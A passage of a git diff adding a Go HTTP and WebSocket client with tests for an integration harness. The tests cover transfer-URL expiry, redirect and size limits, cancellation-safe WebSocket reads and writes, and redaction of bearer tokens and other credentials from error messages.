dashboardServer.URL+"/capture", http.StatusTemporaryRedirect) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{BaseURL: dashboardServer.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + var destination bytes.Buffer + _, err := client.DownloadTransfer(context.Background(), TransferURL{ + URL: dashboardServer.URL + "/mcp/download/token", + Method: http.MethodGet, + ExpiresAt: time.Now().Add(time.Minute), + }, &destination) + require.ErrorIs(t, err, ErrRedirect) + require.Zero(t, redirected.Load()) +} + +func TestClient_TransferURLRejectsExpiredCapability(t *testing.T) { + client := newTestClient(t, Config{BaseURL: "http://dashboard.example", RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + var destination bytes.Buffer + _, err := client.DownloadTransfer(context.Background(), TransferURL{ + URL: "http://dashboard.example/mcp/download/token", + Method: http.MethodGet, + ExpiresAt: time.Now().Add(-time.Second), + }, &destination) + require.ErrorIs(t, err, ErrTransferExpired) +} + +func TestClient_TransferURLRejectsMissingExpiryBeforeDispatch(t *testing.T) { + var requests atomic.Int32 + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + requests.Add(1) + writer.WriteHeader(http.StatusOK) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + var destination bytes.Buffer + _, err := client.DownloadTransfer(context.Background(), TransferURL{ + URL: server.URL + "/mcp/download/token", + Method: http.MethodGet, + }, &destination) + require.ErrorIs(t, err, ErrTransferExpired) + require.Zero(t, requests.Load()) +} + +func TestClient_RequestUploadURLRejectsMissingExpiryBeforeDispatch(t *testing.T) { + var requests atomic.Int32 + var server *httptest.Server + server = httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + requests.Add(1) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":1,"result":{"structuredContent":{"url":"` + server.URL + `/mcp/upload/token","method":"POST"}}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + _, err := RequestUploadURL(context.Background(), client, UploadURLRequest{ServerID: 7, Path: "/tmp/report"}) + require.ErrorIs(t, err, ErrTransferExpired) + require.Equal(t, int32(1), requests.Load()) +} + +func TestClient_TransferRejectsOversizeWithoutWritingPastLimit(t *testing.T) { + dashboardServer := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + _, _ = writer.Write([]byte(strings.Repeat("x", 65))) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{ + BaseURL: dashboardServer.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + MaxTransferBytes: 64, + }) + + var destination bytes.Buffer + written, err := client.DownloadTransfer(context.Background(), TransferURL{ + URL: dashboardServer.URL + "/mcp/download/token", + Method: http.MethodGet, + ExpiresAt: time.Now().Add(time.Minute), + }, &destination) + require.ErrorIs(t, err, ErrTransferTooLarge) + require.Equal(t, int64(64), written) + require.Len(t, destination.Bytes(), 64) +} + +func TestClient_UploadRejectsChunkedBodyWithoutDispatch(t *testing.T) { + var requests atomic.Int32 + dashboardServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + requests.Add(1) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{ + BaseURL: dashboardServer.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + MaxTransferBytes: 64, + }) + _, err := client.UploadTransfer(context.Background(), TransferURL{ + URL: dashboardServer.URL + "/mcp/upload/token", + Method: http.MethodPost, + ExpiresAt: time.Now().Add(time.Minute), + }, UploadTransfer{Body: strings.NewReader("hidden body"), ContentLength: 0}) + require.ErrorIs(t, err, ErrInvalidConfig) + require.Zero(t, requests.Load()) +} + +func TestClient_UploadRejectsMisleadingSuccessEnvelope(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"success":true,"data":{"size":11,"sha256":"abc"}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + _, err := client.UploadTransfer(context.Background(), TransferURL{ + URL: server.URL + "/mcp/upload/token", + Method: http.MethodPost, + ExpiresAt: time.Now().Add(time.Minute), + }, UploadTransfer{Body: strings.NewReader("payload"), ContentLength: int64(len("payload"))}) + require.ErrorIs(t, err, ErrSemanticFailure) +} + +func TestClient_UploadRejectsMissingRequiredResultFields(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"size":7}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, MaxTransferBytes: 1024}) + _, err := client.UploadTransfer(context.Background(), TransferURL{ + URL: server.URL + "/mcp/upload/token", + Method: http.MethodPost, + ExpiresAt: time.Now().Add(time.Minute), + }, UploadTransfer{Body: strings.NewReader("payload"), ContentLength: int64(len("payload"))}) + require.ErrorIs(t, err, ErrSemanticFailure) +} diff --git a/integration/agentcompat/internal/client/websocket.go b/integration/agentcompat/internal/client/websocket.go new file mode 100644 index 00000000..58219370 --- /dev/null +++ b/integration/agentcompat/internal/client/websocket.go @@ -0,0 +1,220 @@ +package client + +import ( + "context" + "errors" + "fmt" + "net" + "net/http" + "sync" + "time" + + "github.com/gorilla/websocket" +) + +type FrameType string + +const ( + FrameText FrameType = "text" + FrameBinary FrameType = "binary" +) + +var ErrUnsupportedFrame = errors.New("client: unsupported WebSocket frame") + +type Frame struct { + Type FrameType + Payload []byte +} + +type WebSocketConnection struct { + connection *websocket.Conn + timeout time.Duration + readLock sync.Mutex + writeLock sync.Mutex + closeOnce sync.Once + // closeDone publishes the first physical close result to every caller. + closeDone chan struct{} + closeError error + afterReadMessageForTest func() +} + +func (client *Client) DialWebSocket(ctx context.Context, path string) (*WebSocketConnection, error) { + requestURL, err := client.resolvePath(path) + if err != nil { + return nil, err + } + switch requestURL.Scheme { + case "http": + requestURL.Scheme = "ws" + case "https": + requestURL.Scheme = "wss" + default: + return nil, fmt.Errorf("WebSocket scheme: %w", ErrInvalidConfig) + } + header := make(http.Header) + if client.bearerToken != "" { + header.Set("Authorization", "Bearer "+client.bearerToken) + } + if client.origin != "" { + header.Set("Origin", client.origin) + } + requestContext, cancel := client.requestContext(ctx) + defer cancel() + connection, response, err := client.webSocketDialer.DialContext(requestContext, requestURL.String(), header) + if err != nil { + if response != nil && response.Body != nil { + defer response.Body.Close() + body, readErr := readBounded(response.Body, client.maxResponseBytes) + if readErr != nil { + return nil, fmt.Errorf("read WebSocket handshake failure: %w", readErr) + } + return nil, &WebSocketHandshakeError{StatusCode: response.StatusCode, Message: string(body)} + } + if requestContext.Err() != nil { + return nil, fmt.Errorf("dial WebSocket: %w", requestContext.Err()) + } + return nil, errorsNewRedacted("dial WebSocket", err) + } + if response != nil && response.Body != nil { + response.Body.Close() + } + connection.SetReadLimit(client.maxResponseBytes) + return &WebSocketConnection{connection: connection, timeout: client.requestTimeout, closeDone: make(chan struct{})}, nil +} + +func (connection *WebSocketConnection) ReadFrame(ctx context.Context) (Frame, error) { + readContext, cancel := context.WithTimeout(ctx, connection.timeout) + defer cancel() + return connection.readFrame(readContext) +} + +// ReadFrameUntil reads one frame using only the caller's cancellation and deadline. +func (connection *WebSocketConnection) ReadFrameUntil(ctx context.Context) (Frame, error) { + return connection.readFrame(ctx) +} + +func (connection *WebSocketConnection) readFrame(ctx context.Context) (Frame, error) { + connection.readLock.Lock() + defer connection.readLock.Unlock() + var cancellationState struct { + sync.Mutex + completed bool + } + stopCancellation := context.AfterFunc(ctx, func() { + cancellationState.Lock() + defer cancellationState.Unlock() + if !cancellationState.completed { + _ = connection.Close() + } + }) + defer func() { + cancellationState.Lock() + cancellationState.completed = true + cancellationState.Unlock() + stopCancellation() + }() + cancellationOccurred := func() bool { + cancellationState.Lock() + defer cancellationState.Unlock() + if ctx.Err() == nil { + return false + } + cancellationState.completed = true + return true + } + if deadline, ok := ctx.Deadline(); ok { + if err := connection.connection.SetReadDeadline(deadline); err != nil { + // A cancellation callback may close the socket while SetReadDeadline runs. + if cancellationOccurred() { + return Frame{}, fmt.Errorf("read WebSocket frame: %w", ctx.Err()) + } + return Frame{}, fmt.Errorf("set WebSocket read deadline: %w", err) + } + } else if err := connection.connection.SetReadDeadline(time.Time{}); err != nil { + // Gorilla retains prior deadlines until explicitly cleared. + if cancellationOccurred() { + return Frame{}, fmt.Errorf("read WebSocket frame: %w", ctx.Err()) + } + return Frame{}, fmt.Errorf("set WebSocket read deadline: %w", err) + } + messageType, payload, err := connection.connection.ReadMessage() + if connection.afterReadMessageForTest != nil { + connection.afterReadMessageForTest() + } + cancellationState.Lock() + cancellationWon := ctx.Err() != nil || !stopCancellation() + if cancellationWon { + _ = connection.Close() + } + cancellationState.completed = true + cancellationState.Unlock() + if cancellationWon { + return Frame{}, fmt.Errorf("read WebSocket frame: %w", ctx.Err()) + } + if err != nil { + if errors.Is(err, websocket.ErrReadLimit) { + return Frame{}, ErrResponseTooLarge + } + var closeError *websocket.CloseError + if errors.As(err, &closeError) { + return Frame{}, &WebSocketCloseError{Code: closeError.Code, Text: closeError.Text} + } + var networkError net.Error + if errors.As(err, &networkError) && networkError.Timeout() { + return Frame{}, fmt.Errorf("read WebSocket frame: %w", context.DeadlineExceeded) + } + return Frame{}, errorsNewRedacted("read WebSocket frame", err) + } + switch messageType { + case websocket.TextMessage: + return Frame{Type: FrameText, Payload: payload}, nil + case websocket.BinaryMessage: + return Frame{Type: FrameBinary, Payload: payload}, nil + default: + return Frame{}, ErrUnsupportedFrame + } +} + +func (connection *WebSocketConnection) WriteFrame(ctx context.Context, frame Frame) error { + connection.writeLock.Lock() + defer connection.writeLock.Unlock() + writeContext, cancel := context.WithTimeout(ctx, connection.timeout) + defer cancel() + stopCancellation := context.AfterFunc(writeContext, func() { _ = connection.Close() }) + defer stopCancellation() + deadline, _ := writeContext.Deadline() + if err := connection.connection.SetWriteDeadline(deadline); err != nil { + return fmt.Errorf("set WebSocket write deadline: %w", err) + } + var messageType int + switch frame.Type { + case FrameText: + messageType = websocket.TextMessage + case FrameBinary: + messageType = websocket.BinaryMessage + default: + return ErrUnsupportedFrame + } + if err := connection.connection.WriteMessage(messageType, frame.Payload); err != nil { + if writeContext.Err() != nil { + return fmt.Errorf("write WebSocket frame: %w", writeContext.Err()) + } + var networkError net.Error + if errors.As(err, &networkError) && networkError.Timeout() { + return fmt.Errorf("write WebSocket frame: %w", context.DeadlineExceeded) + } + return errorsNewRedacted("write WebSocket frame", err) + } + return nil +} + +func (connection *WebSocketConnection) Close() error { + connection.closeOnce.Do(func() { + if err := connection.connection.Close(); err != nil && !errors.Is(err, net.ErrClosed) { + connection.closeError = err + } + close(connection.closeDone) + }) + <-connection.closeDone + return connection.closeError +} diff --git a/integration/agentcompat/internal/client/websocket_close_test.go b/integration/agentcompat/internal/client/websocket_close_test.go new file mode 100644 index 00000000..c133e6c9 --- /dev/null +++ b/integration/agentcompat/internal/client/websocket_close_test.go @@ -0,0 +1,169 @@ +package client + +import ( + "context" + "errors" + "net" + "net/http" + "sync" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" +) + +func TestClient_WebSocketClose_RetainsConcurrentPhysicalCloseResult(t *testing.T) { + // Given + closeErr := errors.New("physical close failed") + recordedConnection := newRetainedCloseConn(closeErr) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(_ *websocket.Conn, request *http.Request) { + <-request.Context().Done() + }) + connection := dialRetainedCloseWebSocket(t, server.URL, recordedConnection) + + // When + results := make(chan error, 8) + for range cap(results) { + go func() { results <- connection.Close() }() + } + + // Then + for range cap(results) { + require.Equal(t, closeErr, <-results) + } + require.Equal(t, 1, recordedConnection.closeCount()) + require.Equal(t, closeErr, connection.Close()) +} + +func TestClient_WebSocketClose_RetainsReadCancellationCloseResult(t *testing.T) { + // Given + closeErr := errors.New("read cancellation close failed") + recordedConnection := newRetainedCloseConn(closeErr) + serverReady := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(_ *websocket.Conn, request *http.Request) { + close(serverReady) + <-request.Context().Done() + }) + connection := dialRetainedCloseWebSocket(t, server.URL, recordedConnection) + readContext, cancel := context.WithCancel(context.Background()) + readResult := make(chan error, 1) + go func() { + _, readErr := connection.ReadFrameUntil(readContext) + readResult <- readErr + }() + <-serverReady + + // When + cancel() + + // Then + require.ErrorIs(t, <-readResult, context.Canceled) + require.Equal(t, closeErr, connection.Close()) + require.Equal(t, 1, recordedConnection.closeCount()) +} + +func TestClient_WebSocketClose_RetainsWriteCancellationCloseResult(t *testing.T) { + // Given + closeErr := errors.New("write cancellation close failed") + recordedConnection := newRetainedCloseConn(closeErr) + serverReady := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(_ *websocket.Conn, request *http.Request) { + close(serverReady) + <-request.Context().Done() + }) + connection := dialRetainedCloseWebSocket(t, server.URL, recordedConnection) + <-serverReady + recordedConnection.blockWrites() + writeContext, cancel := context.WithCancel(context.Background()) + writeResult := make(chan error, 1) + go func() { + writeResult <- connection.WriteFrame(writeContext, Frame{Type: FrameBinary, Payload: []byte("blocked")}) + }() + recordedConnection.awaitWrite(t) + + // When + cancel() + + // Then + require.ErrorIs(t, <-writeResult, context.Canceled) + require.Equal(t, closeErr, connection.Close()) + require.Equal(t, 1, recordedConnection.closeCount()) +} + +type retainedCloseConn struct { + net.Conn + mu sync.Mutex + closeErr error + closeCountValue int + writeBlocked bool + writeEntered chan struct{} + writeReleased chan struct{} + releaseWrite sync.Once +} + +func newRetainedCloseConn(closeErr error) *retainedCloseConn { + return &retainedCloseConn{closeErr: closeErr, writeEntered: make(chan struct{}, 1), writeReleased: make(chan struct{})} +} + +func (connection *retainedCloseConn) Write(payload []byte) (int, error) { + connection.mu.Lock() + blocked := connection.writeBlocked + connection.mu.Unlock() + if blocked { + connection.writeEntered <- struct{}{} + <-connection.writeReleased + } + return connection.Conn.Write(payload) +} + +func (connection *retainedCloseConn) Close() error { + connection.mu.Lock() + connection.closeCountValue++ + connection.mu.Unlock() + underlyingErr := connection.Conn.Close() + connection.releaseWrite.Do(func() { close(connection.writeReleased) }) + if connection.closeErr != nil { + return connection.closeErr + } + return underlyingErr +} + +func (connection *retainedCloseConn) blockWrites() { + connection.mu.Lock() + defer connection.mu.Unlock() + connection.writeBlocked = true +} + +func (connection *retainedCloseConn) awaitWrite(t *testing.T) { + t.Helper() + select { + case <-connection.writeEntered: + case <-time.After(time.Second): + t.Fatal("WebSocket client did not enter the blocked write") + } +} + +func (connection *retainedCloseConn) closeCount() int { + connection.mu.Lock() + defer connection.mu.Unlock() + return connection.closeCountValue +} + +func dialRetainedCloseWebSocket(t *testing.T, baseURL string, recordedConnection *retainedCloseConn) *WebSocketConnection { + t.Helper() + dialer := *websocket.DefaultDialer + dialer.NetDialContext = func(ctx context.Context, network, address string) (net.Conn, error) { + connection, err := (&net.Dialer{}).DialContext(ctx, network, address) + if err != nil { + return nil, err + } + recordedConnection.Conn = connection + return recordedConnection, nil + } + client := newTestClient(t, Config{BaseURL: baseURL, RequestTimeout: time.Second, MaxResponseBytes: 1024, WebSocketDialer: &dialer}) + connection, err := client.DialWebSocket(context.Background(), "/retained-close") + require.NoError(t, err) + t.Cleanup(func() { require.ErrorIs(t, connection.Close(), recordedConnection.closeErr) }) + return connection +} diff --git a/integration/agentcompat/internal/client/websocket_read_contract_test.go b/integration/agentcompat/internal/client/websocket_read_contract_test.go new file mode 100644 index 00000000..93e980bf --- /dev/null +++ b/integration/agentcompat/internal/client/websocket_read_contract_test.go @@ -0,0 +1,236 @@ +package client + +import ( + "context" + "net" + "net/http" + "sync" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" +) + +func TestClient_ReadFrameUntil_ClearsReadDeadlineOnUnderlyingConnection(t *testing.T) { + // Given + firstFrame := make(chan struct{}) + allowSecondFrame := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(connection *websocket.Conn, _ *http.Request) { + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("first"))) + close(firstFrame) + <-allowSecondFrame + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("second"))) + }) + recordedConnection := newRecordingDeadlineConn() + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, WebSocketDialer: recordingWebSocketDialer(recordedConnection)}) + connection, err := client.DialWebSocket(context.Background(), "/deadline-clear") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + shortContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + <-firstFrame + _, err = connection.ReadFrame(shortContext) + require.NoError(t, err) + firstDeadline := recordedConnection.awaitReadDeadline(t) + require.False(t, firstDeadline.IsZero()) + + // When + result := make(chan error, 1) + go func() { + _, readErr := connection.ReadFrameUntil(context.Background()) + result <- readErr + }() + require.True(t, recordedConnection.awaitReadDeadline(t).IsZero()) + close(allowSecondFrame) + + // Then + require.NoError(t, <-result) +} + +func TestClient_ReadFrameUntil_UsesCallerDeadlineInsteadOfDefaultTimeout(t *testing.T) { + // Given + allowFrame := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(connection *websocket.Conn, _ *http.Request) { + <-allowFrame + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("held"))) + }) + recordedConnection := newRecordingDeadlineConn() + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, WebSocketDialer: recordingWebSocketDialer(recordedConnection)}) + connection, err := client.DialWebSocket(context.Background(), "/caller-deadline") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + wantDeadline := time.Now().Add(time.Hour) + callerContext, cancel := context.WithDeadline(context.Background(), wantDeadline) + defer cancel() + result := make(chan error, 1) + + // When + go func() { + _, readErr := connection.ReadFrameUntil(callerContext) + result <- readErr + }() + + // Then + require.Equal(t, wantDeadline, recordedConnection.awaitReadDeadline(t)) + close(allowFrame) + require.NoError(t, <-result) +} + +func TestClient_ReadFrameUntil_ReturnsCancellationWhenItWinsAfterRead(t *testing.T) { + // Given + frameSent := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(connection *websocket.Conn, _ *http.Request) { + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("first"))) + close(frameSent) + _, _, _ = connection.ReadMessage() + }) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/cancel-wins") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + callerContext, cancel := context.WithCancel(context.Background()) + defer cancel() + connection.afterReadMessageForTest = cancel + <-frameSent + + // When + _, err = connection.ReadFrameUntil(callerContext) + + // Then + require.ErrorIs(t, err, context.Canceled) +} + +func TestClient_ReadFrameUntil_ReturnsCancellationWhenDeadlineSetIsInterrupted(t *testing.T) { + // Given + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(_ *websocket.Conn, request *http.Request) { + <-request.Context().Done() + }) + recordedConnection := newRecordingDeadlineConn() + recordedConnection.readDeadlineEntered = make(chan struct{}, 1) + recordedConnection.allowReadDeadline = make(chan struct{}) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, WebSocketDialer: recordingWebSocketDialer(recordedConnection)}) + connection, err := client.DialWebSocket(context.Background(), "/deadline-cancel") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + callerContext, cancel := context.WithCancel(context.Background()) + defer cancel() + result := make(chan error, 1) + + // When + go func() { + _, readErr := connection.ReadFrameUntil(callerContext) + result <- readErr + }() + recordedConnection.awaitReadDeadlineEntered(t) + cancel() + recordedConnection.awaitClose(t) + close(recordedConnection.allowReadDeadline) + + // Then + require.ErrorIs(t, <-result, context.Canceled) +} + +func TestClient_ReadFrameUntil_KeepsConnectionOpenWhenCanceledAfterSuccess(t *testing.T) { + // Given + firstFrameSent := make(chan struct{}) + allowSecondFrame := make(chan struct{}) + server := newWebSocketTestServer(t, websocket.Upgrader{}, func(connection *websocket.Conn, _ *http.Request) { + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("first"))) + close(firstFrameSent) + <-allowSecondFrame + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("second"))) + }) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/success-cancel") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + callerContext, cancel := context.WithCancel(context.Background()) + defer cancel() + <-firstFrameSent + + // When + firstFrame, err := connection.ReadFrameUntil(callerContext) + require.NoError(t, err) + cancel() + close(allowSecondFrame) + secondFrame, err := connection.ReadFrameUntil(context.Background()) + + // Then + require.Equal(t, []byte("first"), firstFrame.Payload) + require.NoError(t, err) + require.Equal(t, []byte("second"), secondFrame.Payload) +} + +type recordingDeadlineConn struct { + net.Conn + mu sync.Mutex + readDeadlines []time.Time + readDeadlineCalls chan time.Time + readDeadlineEntered chan struct{} + allowReadDeadline chan struct{} + closeCalls chan struct{} +} + +func (connection *recordingDeadlineConn) SetReadDeadline(deadline time.Time) error { + connection.mu.Lock() + connection.readDeadlines = append(connection.readDeadlines, deadline) + connection.mu.Unlock() + connection.readDeadlineCalls <- deadline + if connection.readDeadlineEntered != nil { + connection.readDeadlineEntered <- struct{}{} + <-connection.allowReadDeadline + } + return connection.Conn.SetReadDeadline(deadline) +} + +func (connection *recordingDeadlineConn) Close() error { + connection.closeCalls <- struct{}{} + return connection.Conn.Close() +} + +func newRecordingDeadlineConn() *recordingDeadlineConn { + return &recordingDeadlineConn{readDeadlineCalls: make(chan time.Time, 4), closeCalls: make(chan struct{}, 2)} +} + +func (connection *recordingDeadlineConn) awaitReadDeadline(t *testing.T) time.Time { + t.Helper() + select { + case deadline := <-connection.readDeadlineCalls: + return deadline + case <-time.After(time.Second): + t.Fatal("WebSocket client did not set a read deadline") + return time.Time{} + } +} + +func (connection *recordingDeadlineConn) awaitReadDeadlineEntered(t *testing.T) { + t.Helper() + select { + case <-connection.readDeadlineEntered: + case <-time.After(time.Second): + t.Fatal("WebSocket client did not enter SetReadDeadline") + } +} + +func (connection *recordingDeadlineConn) awaitClose(t *testing.T) { + t.Helper() + select { + case <-connection.closeCalls: + case <-time.After(time.Second): + t.Fatal("WebSocket client did not close after cancellation") + } +} + +func recordingWebSocketDialer(recordedConnection *recordingDeadlineConn) *websocket.Dialer { + dialer := *websocket.DefaultDialer + dialer.NetDialContext = func(ctx context.Context, network, address string) (net.Conn, error) { + connection, err := (&net.Dialer{}).DialContext(ctx, network, address) + if err != nil { + return nil, err + } + recordedConnection.Conn = connection + return recordedConnection, nil + } + return &dialer +} diff --git a/integration/agentcompat/internal/client/websocket_test.go b/integration/agentcompat/internal/client/websocket_test.go new file mode 100644 index 00000000..974c7563 --- /dev/null +++ b/integration/agentcompat/internal/client/websocket_test.go @@ -0,0 +1,230 @@ +package client + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" +) + +func TestClient_WebSocketFrameReassembly(t *testing.T) { + upgrader := websocket.Upgrader{WriteBufferSize: 4} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + require.Equal(t, "Bearer ws-token", request.Header.Get("Authorization")) + require.NotEmpty(t, request.Header.Get("Origin")) + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + + textWriter, err := connection.NextWriter(websocket.TextMessage) + require.NoError(t, err) + _, err = textWriter.Write([]byte("hello ")) + require.NoError(t, err) + _, err = textWriter.Write([]byte("world")) + require.NoError(t, err) + require.NoError(t, textWriter.Close()) + + binaryWriter, err := connection.NextWriter(websocket.BinaryMessage) + require.NoError(t, err) + _, err = binaryWriter.Write([]byte{1, 2}) + require.NoError(t, err) + _, err = binaryWriter.Write([]byte{3, 4}) + require.NoError(t, err) + require.NoError(t, binaryWriter.Close()) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + BearerToken: "ws-token", + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + connection, err := client.DialWebSocket(context.Background(), "/stream") + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, connection.Close()) }) + + textFrame, err := connection.ReadFrame(context.Background()) + require.NoError(t, err) + require.Equal(t, FrameText, textFrame.Type) + require.Equal(t, []byte("hello world"), textFrame.Payload) + + binaryFrame, err := connection.ReadFrame(context.Background()) + require.NoError(t, err) + require.Equal(t, FrameBinary, binaryFrame.Type) + require.Equal(t, []byte{1, 2, 3, 4}, binaryFrame.Payload) +} + +func TestClient_WebSocketRejectsOversize(t *testing.T) { + upgrader := websocket.Upgrader{} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + require.NoError(t, connection.WriteMessage(websocket.BinaryMessage, []byte(strings.Repeat("x", 65)))) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 64, + }) + connection, err := client.DialWebSocket(context.Background(), "/oversize") + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, connection.Close()) }) + + _, err = connection.ReadFrame(context.Background()) + require.ErrorIs(t, err, ErrResponseTooLarge) +} + +func TestClient_DialWebSocket_ReturnsTypedHandshakeFailure(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + http.Error(writer, "permission denied", http.StatusForbidden) + })) + t.Cleanup(server.Close) + webSocketClient := newTestClient(t, Config{BaseURL: server.URL}) + + _, err := webSocketClient.DialWebSocket(context.Background(), "/terminal") + + var handshakeError *WebSocketHandshakeError + require.ErrorAs(t, err, &handshakeError) + require.Equal(t, http.StatusForbidden, handshakeError.StatusCode) + require.Contains(t, handshakeError.Message, "permission denied") +} + +func TestClient_WebSocketDeadline(t *testing.T) { + upgrader := websocket.Upgrader{} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + _, _, _ = connection.ReadMessage() + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + connection, err := client.DialWebSocket(context.Background(), "/deadline") + require.NoError(t, err) + connection.timeout = 20 * time.Millisecond + + _, err = connection.ReadFrame(context.Background()) + require.True(t, errors.Is(err, context.DeadlineExceeded), err) + require.NoError(t, connection.Close()) +} + +func TestClient_RedactsAuthorization(t *testing.T) { + secret := "nzp_super-secret" + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"success":false,"error":"Authorization: Bearer ` + secret + `"}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + BearerToken: secret, + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{Method: http.MethodGet, Path: "/redaction"}) + require.Error(t, err) + require.NotContains(t, err.Error(), secret) + require.Contains(t, err.Error(), "[REDACTED]") + + redacted := Redact("request failed with Authorization: Bearer " + secret) + require.False(t, strings.Contains(redacted, secret)) + require.Contains(t, redacted, "Authorization: Bearer [REDACTED]") + + quoted := Redact(`{"Authorization":"Bearer ` + secret + `"}`) + require.NotContains(t, quoted, secret) + require.Contains(t, quoted, "[REDACTED]") + + query := Redact("https://dashboard.example/mcp/download/path-token?access_token=" + secret + "&X-Amz-Signature=signature-secret") + require.NotContains(t, query, secret) + require.NotContains(t, query, "signature-secret") + + httpError := &HTTPError{StatusCode: http.StatusBadRequest, Message: Redact("Authorization: Bearer " + secret)} + require.NotContains(t, httpError.Message, secret) + rpcError := &RPCError{Code: -32603, Message: Redact("token=" + secret)} + require.NotContains(t, rpcError.Message, secret) +} + +func TestClient_RedactsCredentialClasses(t *testing.T) { + secret := "sensitive-value" + inputs := []string{ + "X-CSRF-Token: " + secret, + "password=" + secret, + "https://dashboard.example/path?access_token=" + secret, + "jwt_token: " + secret, + } + for _, input := range inputs { + redacted := Redact(input) + require.NotContains(t, redacted, secret) + require.Contains(t, redacted, "[REDACTED]") + } +} + +func TestClient_WebSocketReadDeadline(t *testing.T) { + upgrader := websocket.Upgrader{} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + <-request.Context().Done() + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: 20 * time.Millisecond, 